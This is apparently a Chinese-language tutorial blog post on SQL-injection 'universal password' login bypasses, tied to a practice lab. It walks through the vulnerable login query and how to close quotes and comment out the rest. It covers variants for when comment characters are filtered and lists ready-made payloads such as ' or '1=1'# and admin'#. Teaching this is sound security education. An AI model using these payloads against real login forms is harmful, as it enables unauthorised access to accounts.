大家好,欢迎来到IT知识分享网。
万能密码
万能密码也是和闭合的概念一样的,多用于登录框,就是可以随便输入,但仍能登录进去
万能密码账号框输入’ or ‘1=1’# 之后,密码框可以随便输入,因为会被注释符注释掉;但是如果在注释符被过滤的时候,账号框和密码框都必须要输入 ‘ or ‘1=1 或者’ or ‘1=1’ ‘
admin : 在应用中是非常常见且经典的一个弱口令
数据库查询——在username, password这两个表下面查找输入的内容,如果输入内存在表里(即输入账号密码确实是该数据库的账号,就会登录成功;否则就会失败),且只查询第一个————因为一般账号密码不会有重复的 SELECT username, password FROM users WHERE username='admin' and password='' LIMIT 0,1 如果在设计登录框的时候设计的逻辑存在漏洞,就会存在SQL注入,此时就称为万能密码
万能密码就是使数据库的账号密码无论是什么,都可以登陆进去,然后登录其管理员账号,修改管理员账号,此时就可以使用这个账号登录进去 SELECT username, password FROM users WHERE username='' or '1=1'#' and password='' or '1=1'#' LIMIT 0,1 此时,' 是用来闭合之前的单引号的,然后或一个真,其整体结果为真,#就相当于注释符,出现#之后,后面的语句就都被注释了,不再执行————也就是说,只要在账号一栏上输入的是 ' or '1=1'# ,后面密码一栏输什么都会注入成功之后 由于逻辑上,同一时间只能登录一个账号,所以————在靶场11里。万能密码回显的是第一个账号密码
如果不使用注释符,如 #,– – 等,还怎么让万能密码仍能使用
由于原来注释符是用来注释账号密码框里的后单引号(前面的单引号已经被注入语句里的 ‘ or ‘1=1’# 注释掉了,所以就会多余一个后单引号),如果逻辑设计上过滤了注释符的话,必须想办法使后面的单引号也闭合
所以有两种方法,基于原来的带注释符的万能密码’ or ‘1=1’#
①’ or ‘1=1 逻辑真后面不加单引号,此时后单引号与逻辑真闭合
②’ or ‘1=1’ ‘ 逻辑真后面再加一个单引号,此时后单引号与该单引号闭合
通过以上的闭合,万能密码仍能使用
数值型万能账号
- a or true #
- a or 1 #
- a or 1=1 #
- a or true – a
- a or 1 – a
- a or 1=1 – a
引号字符型万能密码
- a” or true #
- a” or 1 #
- a” or 1=1 #
- a” or true – a
- a” or 1 – a
- a” or 1=1 – a
万能账号的使用
- 账号输入: a or true #
- 密码随便输入,比如:
数值型万能密码
- admin #
- admin – a
引号字符串型万能密码
- admin’ #
- admin’ – a
万能密码的使用
- 用户名输入: admin’#
- 密码随便输入,比如:
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/150289.html